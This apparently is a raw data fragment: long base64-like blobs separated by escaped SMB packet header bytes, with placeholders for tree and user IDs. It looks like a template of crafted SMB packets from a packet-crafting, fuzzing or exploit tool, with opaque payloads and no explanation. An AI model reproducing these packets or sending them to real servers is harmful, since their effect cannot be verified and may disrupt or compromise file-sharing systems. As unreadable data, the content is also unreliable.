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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\xc3\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\xd3\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\xe3\\x00\\x00\\x00\\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